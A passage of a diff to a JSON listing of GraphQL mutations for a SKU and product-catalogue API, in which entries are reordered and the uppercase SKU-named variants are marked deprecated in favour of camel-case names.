"SKU", - "description": "Add Attribute Value(s) to an existing SKU.", - "deprecated": false, + "returnType": "SKUGroup", + "description": "Add Attributes to an existing SKU group.", + "deprecated": true, + "deprecationReason": "Use `addAttributesToSkuGroup` instead.", "args": [ { "name": "id", @@ -1350,18 +1351,17 @@ }, { "name": "input", - "type": "MutationAddAttributeValuesToSkuInput!", + "type": "MutationAddAttributesToSKUGroupInput!", "required": true } ] }, { - "name": "addAttributeValuesToSKU", + "name": "addAttributesToSkuGroup", "kind": "mutation", - "returnType": "SKU", - "description": "Add Attribute Value(s) to an existing SKU.", - "deprecated": true, - "deprecationReason": "Use `addAttributeValuesToSku` instead.", + "returnType": "SKUGroup", + "description": "Add Attributes to an existing SKU group.", + "deprecated": false, "args": [ { "name": "id", @@ -1370,17 +1370,18 @@ }, { "name": "input", - "type": "MutationAddAttributeValuesToSKUInput!", + "type": "MutationAddAttributesToSkuGroupInput!", "required": true } ] }, { - "name": "addChannelsToSkuGroup", + "name": "addChannelsToSKUGroup", "kind": "mutation", "returnType": "SKUGroup", "description": "Add channels to an existing SKU group.", - "deprecated": false, + "deprecated": true, + "deprecationReason": "Use `addChannelsToSkuGroup` instead.", "args": [ { "name": "id", @@ -1389,18 +1390,17 @@ }, { "name": "input", - "type": "MutationAddChannelsToSkuGroupInput!", + "type": "MutationAddChannelsToSKUGroupInput!", "required": true } ] }, { - "name": "addChannelsToSKUGroup", + "name": "addChannelsToSkuGroup", "kind": "mutation", "returnType": "SKUGroup", "description": "Add channels to an existing SKU group.", - "deprecated": true, - "deprecationReason": "Use `addChannelsToSkuGroup` instead.", + "deprecated": false, "args": [ { "name": "id", @@ -1409,7 +1409,7 @@ }, { "name": "input", - "type": "MutationAddChannelsToSKUGroupInput!", + "type": "MutationAddChannelsToSkuGroupInput!", "required": true } ] @@ -1472,11 +1472,12 @@ ] }, { - "name": "addMediaObjectsToSku", + "name": "addMediaObjectsToSKU", "kind": "mutation", "returnType": "SKU", "description": "Add media objects to an existing SKU", - "deprecated": false, + "deprecated": true, + "deprecationReason": "Use `addMediaObjectsToSku` instead.", "args": [ { "name": "id", @@ -1485,18 +1486,18 @@ }, { "name": "input", - "type": "MutationAddMediaObjectsToSkuInput!", + "type": "MutationAddMediaObjectsToSKUInput!", "required": true } ] }, { - "name": "addMediaObjectsToSKU", + "name": "addMediaObjectsToSKUGroup", "kind": "mutation", - "returnType": "SKU", - "description": "Add media objects to an existing SKU", + "returnType": "SKUGroup", + "description": "Add media objects to an existing SKU group.", "deprecated": true, - "deprecationReason": "Use `addMediaObjectsToSku` instead.", + "deprecationReason": "Use `addMediaObjectsToSkuGroup` instead.", "args": [ { "name": "id", @@ -1505,16 +1506,16 @@ }, { "name": "input", - "type": "MutationAddMediaObjectsToSKUInput!", + "type": "MutationAddMediaObjectsToSKUGroupInput!", "required": true } ] }, { - "name": "addMediaObjectsToSkuGroup", + "name": "addMediaObjectsToSku", "kind": "mutation", - "returnType": "SKUGroup", - "description": "Add media objects to an existing SKU group.", + "returnType": "SKU", + "description": "Add media objects to an existing SKU", "deprecated": false, "args": [ { @@ -1524,18 +1525,17 @@ }, { "name": "input", - "type": "MutationAddMediaObjectsToSkuGroupInput!", + "type": "MutationAddMediaObjectsToSkuInput!", "required": true } ] }, { - "name": "addMediaObjectsToSKUGroup", + "name": "addMediaObjectsToSkuGroup", "kind": "mutation", "returnType": "SKUGroup", "description": "Add media objects to an existing SKU group.", - "deprecated": true, - "deprecationReason": "Use `addMediaObjectsToSkuGroup` instead.", + "deprecated": false, "args": [ { "name": "id", @@ -1544,17 +1544,18 @@ }, { "name": "input", - "type": "MutationAddMediaObjectsToSKUGroupInput!", + "type": "MutationAddMediaObjectsToSkuGroupInput!", "required": true } ] }, { - "name": "addOptionsToSkuGroup", + "name": "addOptionsToSKUGroup", "kind": "mutation", "returnType": "SKUGroup", "description": "Add options to an existing SKU group.", - "deprecated": false, + "deprecated": true, + "deprecationReason": "Use `addOptionsToSkuGroup` instead.", "args": [ { "name": "id", @@ -1563,18 +1564,17 @@ }, { "name": "input", - "type": "MutationAddOptionsToSkuGroupInput!", + "type": "MutationAddOptionsToSKUGroupInput!", "required": true } ] }, { - "name": "addOptionsToSKUGroup", + "name": "addOptionsToSkuGroup", "kind": "mutation", "returnType": "SKUGroup", "description": "Add options to an existing SKU group.", - "deprecated": true, - "deprecationReason": "Use `addOptionsToSkuGroup` instead.", + "deprecated": false, "args": [ { "name": "id", @@ -1583,7 +1583,7 @@ }, { "name": "input", - "type": "MutationAddOptionsToSKUGroupInput!", + "type": "MutationAddOptionsToSkuGroupInput!", "required": true } ] @@ -1665,11 +1665,12 @@ ] }, { - "name": "addReferencesToSku", + "name": "addReferencesToSKU", "kind": "mutation", "returnType": "SKU", "description": "Add references to an existing SKU.", - "deprecated": false, + "deprecated": true, + "deprecationReason": "Use `addReferencesToSku` instead.", "args": [ { "name": "id", @@ -1678,18 +1679,18 @@ }, { "name": "input", - "type": "MutationAddReferencesToSkuInput!", + "type": "MutationAddReferencesToSKUInput!", "required": true } ] }, { - "name": "addReferencesToSKU", + "name": "addReferencesToSKUGroup", "kind": "mutation", - "returnType": "SKU", - "description": "Add references to an existing SKU.", + "returnType": "SKUGroup", + "description": "Add references to an existing SKU group.", "deprecated": true, - "deprecationReason": "Use `addReferencesToSku` instead.", + "deprecationReason": "Use `addReferencesToSkuGroup` instead.", "args": [ { "name": "id", @@ -1698,16 +1699,16 @@ }, { "name": "input", - "type": "MutationAddReferencesToSKUInput!", + "type": "MutationAddReferencesToSKUGroupInput!", "required": true } ] }, { - "name": "addReferencesToSkuGroup", + "name": "addReferencesToSku", "kind": "mutation", - "returnType": "SKUGroup", - "description": "Add references to an existing SKU group.", + "returnType": "SKU", + "description": "Add references to an existing SKU.", "deprecated": false, "args": [ { @@ -1717,18 +1718,17 @@ }, { "name": "input", - "type": "MutationAddReferencesToSkuGroupInput!", + "type": "MutationAddReferencesToSkuInput!", "required": true } ] }, { - "name": "addReferencesToSKUGroup", + "name": "addReferencesToSkuGroup", "kind": "mutation", "returnType": "SKUGroup", "description": "Add references to an existing SKU group.", - "deprecated": true, - "deprecationReason": "Use `addReferencesToSkuGroup` instead.", + "deprecated": false, "args": [ { "name": "id", @@ -1737,17 +1737,18 @@ }, { "name": "input", - "type": "MutationAddReferencesToSKUGroupInput!", + "type": "MutationAddReferencesToSkuGroupInput!", "required": true } ] }, { - "name": "addSkuGroupsToList", + "name": "addSKUGroupToLists", "kind": "mutation", - "returnType": "List", - "description": "Add SKU Groups to an existing list.", - "deprecated": false, + "returnType": "SKUGroup", + "description": "Add a single SKU Group to multiple lists", + "deprecated": true, + "deprecationReason": "Use `addSkuGroupToLists` instead.", "args": [ { "name": "id", @@ -1756,7 +1757,7 @@ }, { "name": "input", - "type": "MutationAddSkuGroupsToListInput!", + "type": "MutationAddSKUGroupToListsInput!", "required": true } ] @@ -1782,11 +1783,12 @@ ] }, { - "name": "addSkuGroupToLists", + "name": "addSKUsToLocation", "kind": "mutation", - "returnType": "SKUGroup", - "description": "Add a single SKU Group to multiple lists", - "deprecated": false, + "returnType": "Location", + "description": "Add SKUs to an existing location.", + "deprecated": true, + "deprecationReason": "Use `addSkusToLocation` instead.", "args": [ { "name": "id", @@ -1795,18 +1797,18 @@ }, { "name": "input", - "type": "MutationAddSkuGroupToListsInput!", + "type": "MutationAddSKUsToLocationInput!", "required": true } ] }, { - "name": "addSKUGroupToLists", + "name": "addSKUsToSKUGroup", "kind": "mutation", "returnType": "SKUGroup", - "description": "Add a single SKU Group to multiple lists", + "description": "Add SKUs to an existing SKU group.", "deprecated": true, - "deprecationReason": "Use `addSkuGroupToLists` instead.", + "deprecationReason": "Use `addSkusToSkuGroup` instead.", "args": [ { "name": "id", @@ -1815,16 +1817,16 @@ }, { "name": "input", - "type": "MutationAddSKUGroupToListsInput!", + "type": "MutationAddSKUsToSKUGroupInput!", "required": true } ] }, { - "name": "addSkusToLocation", + "name": "addSkuGroupToLists", "kind": "mutation", - "returnType": "Location", - "description": "Add SKUs to an existing location.", + "returnType": "SKUGroup", + "description": "Add a single SKU Group to multiple lists", "deprecated": false, "args": [ { @@ -1834,18 +1836,17 @@ }, { "name": "input", - "type": "MutationAddSkusToLocationInput!", + "type": "MutationAddSkuGroupToListsInput!", "required": true } ] }, { - "name": "addSKUsToLocation", + "name": "addSkuGroupsToList", "kind": "mutation", - "returnType": "Location", - "description": "Add SKUs to an existing location.", - "deprecated": true, - "deprecationReason": "Use `addSkusToLocation` instead.", + "returnType": "List", + "description": "Add SKU Groups to an existing list.", + "deprecated": false, "args": [ { "name": "id", @@ -1854,16 +1855,16 @@ }, { "name": "input", - "type": "MutationAddSKUsToLocationInput!", + "type": "MutationAddSkuGroupsToListInput!", "required": true } ] }, { - "name": "addSkusToSkuGroup", + "name": "addSkusToLocation", "kind": "mutation", - "returnType": "SKUGroup", - "description": "Add SKUs to an existing SKU group.", + "returnType": "Location", + "description": "Add SKUs to an existing location.", "deprecated": false, "args": [ { @@ -1873,18 +1874,17 @@ }, { "name": "input", - "type": "MutationAddSkusToSkuGroupInput!", + "type": "MutationAddSkusToLocationInput!", "required": true } ] }, { - "name": "addSKUsToSKUGroup", + "name": "addSkusToSkuGroup", "kind": "mutation", "returnType": "SKUGroup", "description": "Add SKUs to an existing SKU group.", - "deprecated": true, - "deprecationReason": "Use `addSkusToSkuGroup` instead.", + "deprecated": false, "args": [ { "name": "id", @@ -1893,7 +1893,7 @@ }, { "name": "input", - "type": "MutationAddSKUsToSKUGroupInput!", + "type": "MutationAddSkusToSkuGroupInput!", "required": true } ] @@ -1955,11 +1955,12 @@ ] }, { - "name": "archiveSku", + "name": "archiveSKU", "kind": "mutation", "returnType": "SKU", "description": "Archive an existing SKU.", - "deprecated": false, + "deprecated": true, + "deprecationReason": "Use `archiveSku` instead.", "args": [ { "name": "id", @@ -1969,12 +1970,12 @@ ] }, { - "name": "archiveSKU", + "name": "archiveSKUGroup", "kind": "mutation", - "returnType": "SKU", - "description": "Archive an existing SKU.", + "returnType": "SKUGroup", + "description": "Archive an existing SKU Group.", "deprecated": true, - "deprecationReason": "Use `archiveSku` instead.", + "deprecationReason": "Use `archiveSkuGroup` instead.", "args": [ { "name": "id", @@ -1984,10 +1985,10 @@ ] }, { - "name": "archiveSkuGroup", + "name": "archiveSku", "kind": "mutation", - "returnType": "SKUGroup", - "description": "Archive an existing SKU Group.", + "returnType": "SKU", + "description": "Archive an existing SKU.", "deprecated": false, "args": [ { @@ -1998,12 +1999,11 @@ ] }, { - "name": "archiveSKUGroup", + "name": "archiveSkuGroup", "kind": "mutation", "returnType": "SKUGroup", "description": "Archive an existing SKU Group.", - "deprecated": true, - "deprecationReason": "Use `archiveSkuGroup` instead.", + "deprecated": false, "args": [ { "name": "id", @@ -2209,11 +2209,12 @@ ] }, { - "name": "createSku", + "name": "createSKU", "kind": "mutation", "returnType": "SKU", "description": "Create a new SKU.", - "deprecated": false, + "deprecated": true, + "deprecationReason": "Use `createSku` instead.", "args": [ { "name": "input", @@ -2223,99 +2224,98 @@ ] }, { - "name": "createSKU", + "name": "createSKUGroup", "kind": "mutation", - "returnType": "SKU", - "description": "Create a new SKU.", + "returnType": "SKUGroup", + "description": "Create a new SKU Group.", "deprecated": true, - "deprecationReason": "Use `createSku` instead.", + "deprecationReason": "Use `createSkuGroup` instead.", "args": [ { "name": "input", - "type": "CreateSKUInput!", + "type": "MutationCreateSKUGroupInput!", "required": true } ] }, { - "name": "createSkuGroup", + "name": "createSKUPrice", "kind": "mutation", - "returnType": "SKUGroup", - "description": "Create a new SKU Group.", - "deprecated": false, + "returnType": "SKUPrice", + "description": "Create a price.", + "deprecated": true, + "deprecationReason": "Use `createSkuPrice` instead.", "args": [ { "name": "input", - "type": "MutationCreateSkuGroupInput!", + "type": "MutationCreateSKUPriceInput!", "required": true } ] }, { - "name": "createSKUGroup", + "name": "createSKUs", "kind": "mutation", - "returnType": "SKUGroup", - "description": "Create a new SKU Group.", + "returnType": "[SKU!]", + "description": "Create multiple new SKUs in a single transaction.", "deprecated": true, - "deprecationReason": "Use `createSkuGroup` instead.", + "deprecationReason": "Use `createSkus` instead.", "args": [ { "name": "input", - "type": "MutationCreateSKUGroupInput!", + "type": "[CreateSKUInput!]!", "required": true } ] }, { - "name": "createSkuPrice", + "name": "createSku", "kind": "mutation", - "returnType": "SKUPrice", - "description": "Create a price.", + "returnType": "SKU", + "description": "Create a new SKU.", "deprecated": false, "args": [ { "name": "input", - "type": "MutationCreateSkuPriceInput!", + "type": "CreateSKUInput!", "required": true } ] }, { - "name": "createSKUPrice", + "name": "createSkuGroup", "kind": "mutation", - "returnType": "SKUPrice", - "description": "Create a price.", - "deprecated": true, - "deprecationReason": "Use `createSkuPrice` instead.", + "returnType": "SKUGroup", + "description": "Create a new SKU Group.", + "deprecated": false, "args": [ { "name": "input", - "type": "MutationCreateSKUPriceInput!", + "type": "MutationCreateSkuGroupInput!", "required": true } ] }, { - "name": "createSkus", + "name": "createSkuPrice", "kind": "mutation", - "returnType": "[SKU!]", - "description": "Create multiple new SKUs in a single transaction.", + "returnType": "SKUPrice", + "description": "Create a price.", "deprecated": false, "args": [ { "name": "input", - "type": "[CreateSKUInput!]!", + "type": "MutationCreateSkuPriceInput!", "required": true } ] }, { - "name": "createSKUs", + "name": "createSkus", "kind": "mutation", "returnType": "[SKU!]", "description": "Create multiple new SKUs in a single transaction.", - "deprecated": true, - "deprecationReason": "Use `createSkus` instead.", + "deprecated": false, "args": [ { "name": "input", @@ -2353,10 +2353,10 @@ ] }, { - "name": "removeAttributesFromSkuGroup", + "name": "removeAttributeValuesFromAttribute", "kind": "mutation", - "returnType": "SKUGroup", - "description": "Remove Attributes from an existing SKU group.", + "returnType": "Attribute", + "description": "Remove Attribute Value(s) from an existing Attribute.", "deprecated": false, "args": [ { @@ -2366,18 +2366,18 @@ }, { "name": "input", - "type": "MutationRemoveAttributesFromSkuGroupInput!", + "type": "MutationRemoveAttributeValuesFromAttributeInput!", "required": true } ] }, { - "name": "removeAttributesFromSKUGroup", + "name": "removeAttributeValuesFromSKU", "kind": "mutation", - "returnType": "SKUGroup", - "description": "Remove Attributes from an existing SKU group.", + "returnType": "SKU", + "description": "Remove Attribute Value(s) from an existing SKU.", "deprecated": true, - "deprecationReason": "Use `removeAttributesFromSkuGroup` instead.", + "deprecationReason": "Use `removeAttributeValuesFromSku` instead.", "args": [ { "name": "id", @@ -2386,16 +2386,16 @@ }, { "name": "input", - "type": "MutationRemoveAttributesFromSKUGroupInput!", + "type": "MutationRemoveAttributeValuesFromSKUInput!", "required": true } ] }, { - "name": "removeAttributeValuesFromAttribute", + "name": "removeAttributeValuesFromSku", "kind": "mutation", - "returnType": "Attribute", - "description": "Remove Attribute Value(s) from an existing Attribute.", + "returnType": "SKU", + "description": "Remove Attribute Value(s) from an existing SKU.", "deprecated": false, "args": [ { @@ -2405,17 +2405,18 @@ }, { "name": "input", - "type": "MutationRemoveAttributeValuesFromAttributeInput!", + "type": "MutationRemoveAttributeValuesFromSkuInput!", "required": true } ] }, { - "name": "removeAttributeValuesFromSku", + "name": "removeAttributesFromSKUGroup", "kind": "mutation", - "returnType": "SKU", - "description": "Remove Attribute Value(s) from an existing SKU.", - "deprecated": false, + "returnType": "SKUGroup", + "description": "Remove Attributes from an existing SKU group.", + "deprecated": true, + "deprecationReason": "Use `removeAttributesFromSkuGroup` instead.", "args": [ { "name": "id", @@ -2424,18 +2425,17 @@ }, { "name": "input", - "type": "MutationRemoveAttributeValuesFromSkuInput!", + "type": "MutationRemoveAttributesFromSKUGroupInput!", "required": true } ] }, { - "name": "removeAttributeValuesFromSKU", + "name": "removeAttributesFromSkuGroup", "kind": "mutation", - "returnType": "SKU", - "description": "Remove Attribute Value(s) from an existing SKU.", - "deprecated": true, - "deprecationReason": "Use `removeAttributeValuesFromSku` instead.", + "returnType": "SKUGroup", + "description": "Remove Attributes from an existing SKU group.", + "deprecated": false, "args": [ { "name": "id", @@ -2444,17 +2444,18 @@ }, { "name": "input", - "type": "MutationRemoveAttributeValuesFromSKUInput!", + "type": "MutationRemoveAttributesFromSkuGroupInput!", "required": true } ] }, { - "name": "removeChannelsFromSkuGroup", + "name": "removeChannelsFromSKUGroup", "kind": "mutation", "returnType": "SKUGroup", "description": "Remove channel associations from an existing SKU group.", - "deprecated": false, + "deprecated": true, + "deprecationReason": "Use `removeChannelsFromSkuGroup` instead.", "args": [ { "name": "id", @@ -2463,18 +2464,17 @@ }, { "name": "input", - "type": "MutationRemoveChannelsFromSkuGroupInput!", + "type": "MutationRemoveChannelsFromSKUGroupInput!", "required": true } ] }, { - "name": "removeChannelsFromSKUGroup", + "name": "removeChannelsFromSkuGroup", "kind": "mutation", "returnType": "SKUGroup", "description": "Remove channel associations from an existing SKU group.", - "deprecated": true, - "deprecationReason": "Use `removeChannelsFromSkuGroup` instead.", + "deprecated": false, "args": [ { "name": "id", @@ -2483,7 +2483,7 @@ }, { "name": "input", - "type": "MutationRemoveChannelsFromSKUGroupInput!", + "type": "MutationRemoveChannelsFromSkuGroupInput!", "required": true } ] @@ -2540,17 +2540,38 @@ }, { "name": "input", - "type": "MutationRemoveMediaObjectsFromListInput!", + "type": "MutationRemoveMediaObjectsFromListInput!", + "required": true + } + ] + }, + { + "name": "removeMediaObjectsFromSKU", + "kind": "mutation", + "returnType": "SKU", + "description": "Remove media objects from an existing SKU", + "deprecated": true, + "deprecationReason": "Use `removeMediaObjectsFromSku` instead.", + "args": [ + { + "name": "id", + "type": "String!", + "required": true + }, + { + "name": "input", + "type": "MutationRemoveMediaObjectsFromSKUInput!", "required": true } ] }, { - "name": "removeMediaObjectsFromSku", + "name": "removeMediaObjectsFromSKUGroup", "kind": "mutation", - "returnType": "SKU", - "description": "Remove media objects from an existing SKU", - "deprecated": false, + "returnType": "SKUGroup", + "description": "Remove media objects from an existing SKU group.", + "deprecated": true, + "deprecationReason": "Use `removeMediaObjectsFromSkuGroup` instead.", "args": [ { "name": "id", @@ -2559,18 +2580,17 @@ }, { "name": "input", - "type": "MutationRemoveMediaObjectsFromSkuInput!", + "type": "MutationRemoveMediaObjectsFromSKUGroupInput!", "required": true } ] }, { - "name": "removeMediaObjectsFromSKU", + "name": "removeMediaObjectsFromSku", "kind": "mutation", "returnType": "SKU", "description": "Remove media objects from an existing SKU", - "deprecated": true, - "deprecationReason": "Use `removeMediaObjectsFromSku` instead.", + "deprecated": false, "args": [ { "name": "id", @@ -2579,7 +2599,7 @@ }, { "name": "input", - "type": "MutationRemoveMediaObjectsFromSKUInput!", + "type": "MutationRemoveMediaObjectsFromSkuInput!", "required": true } ] @@ -2604,30 +2624,24 @@ ] }, { - "name": "removeMediaObjectsFromSKUGroup", + "name": "removeOption", "kind": "mutation", - "returnType": "SKUGroup", - "description": "Remove media objects from an existing SKU group.", - "deprecated": true, - "deprecationReason": "Use `removeMediaObjectsFromSkuGroup` instead.", + "returnType": "Null", + "description": "Remove an existing option.", + "deprecated": false, "args": [ { "name": "id", "type": "String!", "required": true - }, - { - "name": "input", - "type": "MutationRemoveMediaObjectsFromSKUGroupInput!", - "required": true } ] }, { - "name": "removeOption", + "name": "removeOptionValue", "kind": "mutation", "returnType": "Null", - "description": "Remove an existing option.", + "description": "Remove an existing option value.", "deprecated": false, "args": [ { @@ -2638,10 +2652,10 @@ ] }, { - "name": "removeOptionsFromSkuGroup", + "name": "removeOptionValuesFromListOption", "kind": "mutation", - "returnType": "SKUGroup", - "description": "Remove Options from an existing SKU group.", + "returnType": "ListOption", + "description": "Remove values from an existing Option.", "deprecated": false, "args": [ { @@ -2651,7 +2665,7 @@ }, { "name": "input", - "type": "MutationRemoveOptionsFromSkuGroupInput!", + "type": "MutationRemoveOptionValuesFromListOptionInput!", "required": true } ] @@ -2677,24 +2691,10 @@ ] }, { - "name": "removeOptionValue", - "kind": "mutation", - "returnType": "Null", - "description": "Remove an existing option value.", - "deprecated": false, - "args": [ - { - "name": "id", - "type": "String!", - "required": true - } - ] - }, - { - "name": "removeOptionValuesFromListOption", + "name": "removeOptionsFromSkuGroup", "kind": "mutation", - "returnType": "ListOption", - "description": "Remove values from an existing Option.", + "returnType": "SKUGroup", + "description": "Remove Options from an existing SKU group.", "deprecated": false, "args": [ { @@ -2704,7 +2704,7 @@ }, { "name": "input", - "type": "MutationRemoveOptionValuesFromListOptionInput!", + "type": "MutationRemoveOptionsFromSkuGroupInput!", "required": true } ] @@ -2748,11 +2748,12 @@ ] }, { - "name": "removePricesFromSku", + "name": "removePricesFromSKU", "kind": "mutation", "returnType": "SKU", "description": "Remove prices from an existing SKU.", - "deprecated": false, + "deprecated": true, + "deprecationReason": "Use `removePricesFromSku` instead.", "args": [ { "name": "id", @@ -2761,18 +2762,17 @@ }, { "name": "input", - "type": "MutationRemovePricesFromSkuInput!", + "type": "MutationRemovePricesFromSKUInput!", "required": true } ] }, { - "name": "removePricesFromSKU", + "name": "removePricesFromSku", "kind": "mutation", "returnType": "SKU", "description": "Remove prices from an existing SKU.", - "deprecated": true, - "deprecationReason": "Use `removePricesFromSku` instead.", + "deprecated": false, "args": [ { "name": "id", @@ -2781,7 +2781,7 @@ }, { "name": "input", - "type": "MutationRemovePricesFromSKUInput!", + "type": "MutationRemovePricesFromSkuInput!", "required": true } ] @@ -2863,11 +2863,12 @@ ] }, { - "name": "removeReferencesFromSku", + "name": "removeReferencesFromSKU", "kind": "mutation", "returnType": "SKU", "description": "Remove references from an existing SKU.", - "deprecated": false, + "deprecated": true, + "deprecationReason": "Use `removeReferencesFromSku` instead.", "args": [ { "name": "id", @@ -2876,18 +2877,18 @@ }, { "name": "input", - "type": "MutationRemoveReferencesFromSkuInput!", + "type": "MutationRemoveReferencesFromSKUInput!", "required": true } ] }, { - "name": "removeReferencesFromSKU", + "name": "removeReferencesFromSKUGroup", "kind": "mutation", - "returnType": "SKU", - "description": "Remove references from an existing SKU.", + "returnType": "SKUGroup", + "description": "Remove references from an existing SKU group.", "deprecated": true, - "deprecationReason": "Use `removeReferencesFromSku` instead.", + "deprecationReason": "Use `removeReferencesFromSkuGroup` instead.", "args": [ { "name": "id", @@ -2896,16 +2897,16 @@ }, { "name": "input", - "type": "MutationRemoveReferencesFromSKUInput!", + "type": "MutationRemoveReferencesFromSKUGroupInput!", "required": true } ] }, { - "name": "removeReferencesFromSkuGroup", + "name": "removeReferencesFromSku", "kind": "mutation", - "returnType": "SKUGroup", - "description": "Remove references from an existing SKU group.", + "returnType": "SKU", + "description": "Remove references from an existing SKU.", "deprecated": false, "args": [ { @@ -2915,18 +2916,17 @@ }, { "name": "input", - "type": "MutationRemoveReferencesFromSkuGroupInput!", + "type": "MutationRemoveReferencesFromSkuInput!", "required": true } ] }, { - "name": "removeReferencesFromSKUGroup", + "name": "removeReferencesFromSkuGroup", "kind": "mutation", "returnType": "SKUGroup", "description": "Remove references from an existing SKU group.", - "deprecated": true, - "deprecationReason": "Use `removeReferencesFromSkuGroup` instead.", + "deprecated": false, "args": [ { "name": "id", @@ -2935,17 +2935,18 @@ }, { "name": "input", - "type": "MutationRemoveReferencesFromSKUGroupInput!", + "type": "MutationRemoveReferencesFromSkuGroupInput!", "required": true } ] }, { - "name": "removeSkuGroupFromLists", + "name": "removeSKUGroupFromLists", "kind": "mutation", "returnType": "SKUGroup", "description": "Remove a single SKU Group from multiple lists", - "deprecated": false, + "deprecated": true, + "deprecationReason": "Use `removeSkuGroupFromLists` instead.", "args": [ { "name": "id", @@ -2954,18 +2955,18 @@ }, { "name": "input", - "type": "MutationRemoveSkuGroupFromListsInput!", + "type": "MutationRemoveSKUGroupFromListsInput!", "required": true } ] }, { - "name": "removeSKUGroupFromLists", + "name": "removeSKUGroupsFromList", "kind": "mutation", - "returnType": "SKUGroup", - "description": "Remove a single SKU Group from multiple lists", + "returnType": "List", + "description": "Remove SKU Groups from an existing list.", "deprecated": true, - "deprecationReason": "Use `removeSkuGroupFromLists` instead.", + "deprecationReason": "Use `removeSkuGroupsFromList` instead.", "args": [ { "name": "id", @@ -2974,17 +2975,18 @@ }, { "name": "input", - "type": "MutationRemoveSKUGroupFromListsInput!", + "type": "MutationRemoveSKUGroupsFromListInput!", "required": true } ] }, { - "name": "removeSkuGroupsFromList", + "name": "removeSKUsFromLocation", "kind": "mutation", - "returnType": "List", - "description": "Remove SKU Groups from an existing list.", - "deprecated": false, + "returnType": "Location", + "description": "Remove SKU from an existing location.", + "deprecated": true, + "deprecationReason": "Use `removeSkusFromLocation` instead.", "args": [ { "name": "id", @@ -2993,18 +2995,18 @@ }, { "name": "input", - "type": "MutationRemoveSkuGroupsFromListInput!", + "type": "MutationRemoveSKUsFromLocationInput!", "required": true } ] }, { - "name": "removeSKUGroupsFromList", + "name": "removeSKUsFromSKUGroup", "kind": "mutation", - "returnType": "List", - "description": "Remove SKU Groups from an existing list.", + "returnType": "SKUGroup", + "description": "Remove SKUs from an existing SKU group.", "deprecated": true, - "deprecationReason": "Use `removeSkuGroupsFromList` instead.", + "deprecationReason": "Use `removeSkusFromSkuGroup` instead.", "args": [ { "name": "id", @@ -3013,16 +3015,16 @@ }, { "name": "input", - "type": "MutationRemoveSKUGroupsFromListInput!", + "type": "MutationRemoveSKUsFromSKUGroupInput!", "required": true } ] }, { - "name": "removeSkusFromLocation", + "name": "removeSkuGroupFromLists", "kind": "mutation", - "returnType": "Location", - "description": "Remove SKU from an existing location.", + "returnType": "SKUGroup", + "description": "Remove a single SKU Group from multiple lists", "deprecated": false, "args": [ { @@ -3032,18 +3034,17 @@ }, { "name": "input", - "type": "MutationRemoveSkusFromLocationInput!", + "type": "MutationRemoveSkuGroupFromListsInput!", "required": true } ] }, { - "name": "removeSKUsFromLocation", + "name": "removeSkuGroupsFromList", "kind": "mutation", - "returnType": "Location", - "description": "Remove SKU from an existing location.", - "deprecated": true, - "deprecationReason": "Use `removeSkusFromLocation` instead.", + "returnType": "List", + "description": "Remove SKU Groups from an existing list.", + "deprecated": false, "args": [ { "name": "id", @@ -3052,16 +3053,16 @@ }, { "name": "input", - "type": "MutationRemoveSKUsFromLocationInput!", + "type": "MutationRemoveSkuGroupsFromListInput!", "required": true } ] }, { - "name": "removeSkusFromSkuGroup", + "name": "removeSkusFromLocation", "kind": "mutation", - "returnType": "SKUGroup", - "description": "Remove SKUs from an existing SKU group.", + "returnType": "Location", + "description": "Remove SKU from an existing location.", "deprecated": false, "args": [ { @@ -3071,18 +3072,17 @@ }, { "name": "input", - "type": "MutationRemoveSkusFromSkuGroupInput!", + "type": "MutationRemoveSkusFromLocationInput!", "required": true } ] }, { - "name": "removeSKUsFromSKUGroup", + "name": "removeSkusFromSkuGroup", "kind": "mutation", "returnType": "SKUGroup", "description": "Remove SKUs from an existing SKU group.", - "deprecated": true, - "deprecationReason": "Use `removeSkusFromSkuGroup` instead.", + "deprecated": false, "args": [ { "name": "id", @@ -3091,7 +3091,7 @@ }, { "name": "input", - "type": "MutationRemoveSKUsFromSKUGroupInput!", + "type": "MutationRemoveSkusFromSkuGroupInput!", "required": true } ] @@ -3334,11 +3334,12 @@ ] }, { - "name": "updateSku", + "name": "updateSKU", "kind": "mutation", "returnType": "SKU", "description": "Update an existing SKU.", - "deprecated": false, + "deprecated": true, + "deprecationReason": "Use `updateSku` instead.", "args": [ { "name": "id", @@ -3347,18 +3348,18 @@ }, { "name": "input", - "type": "MutationUpdateSkuInput!", + "type": "MutationUpdateSKUInput!", "required": true } ] }, { - "name": "updateSKU", + "name": "updateSKUGroup", "kind": "mutation", - "returnType": "SKU", - "description": "Update an existing SKU.", + "returnType": "SKUGroup", + "description": "Update an existing SKU Group.", "deprecated": true, - "deprecationReason": "Use `updateSku` instead.", + "deprecationReason": "Use `updateSkuGroup` instead.", "args": [ { "name": "id", @@ -3367,17 +3368,18 @@ }, { "name": "input", - "type": "MutationUpdateSKUInput!", + "type": "MutationUpdateSKUGroupInput!", "required": true } ] }, { - "name": "updateSkuGroup", + "name": "updateSKUPrice", "kind": "mutation", - "returnType": "SKUGroup", - "description": "Update an existing SKU Group.", - "deprecated": false, + "returnType": "SKUPrice", + "description": "Update an existing price object.", + "deprecated": true, + "deprecationReason": "Use `updateSkuPrice` instead.", "args": [ { "name": "id", @@ -3386,18 +3388,17 @@ }, { "name": "input", - "type": "MutationUpdateSkuGroupInput!", + "type": "MutationUpdateSKUPriceInput!", "required": true } ] }, { - "name": "updateSKUGroup", + "name": "updateSku", "kind": "mutation", - "returnType": "SKUGroup", - "description": "Update an existing SKU Group.", - "deprecated": true, - "deprecationReason": "Use `updateSkuGroup` instead.", + "returnType": "SKU", + "description": "Update an existing SKU.", + "deprecated": false, "args": [ { "name": "id", @@ -3406,16 +3407,16 @@ }, { "name": "input", - "type": "MutationUpdateSKUGroupInput!", + "type": "MutationUpdateSkuInput!", "required": true } ] }, { - "name": "updateSkuGroupMediaObjects", + "name": "updateSkuGroup", "kind": "mutation", "returnType": "SKUGroup", - "description": "Add media objects or update existing media objects to existing SKU Group.", + "description": "Update an existing SKU Group.", "deprecated": false, "args": [ { @@ -3425,16 +3426,16 @@ }, { "name": "input", - "type": "MutationUpdateSkuGroupMediaObjectsInput!", + "type": "MutationUpdateSkuGroupInput!", "required": true } ] }, { - "name": "updateSkuMediaObjects", + "name": "updateSkuGroupMediaObjects", "kind": "mutation", - "returnType": "SKU", - "description": "Add media objects or update existing media objects to existing SKU.", + "returnType": "SKUGroup", + "description": "Add media objects or update existing media objects to existing SKU Group.", "deprecated": false, "args": [ { @@ -3444,16 +3445,16 @@ }, { "name": "input", - "type": "MutationUpdateSkuMediaObjectsInput!", + "type": "MutationUpdateSkuGroupMediaObjectsInput!", "required": true } ] }, { 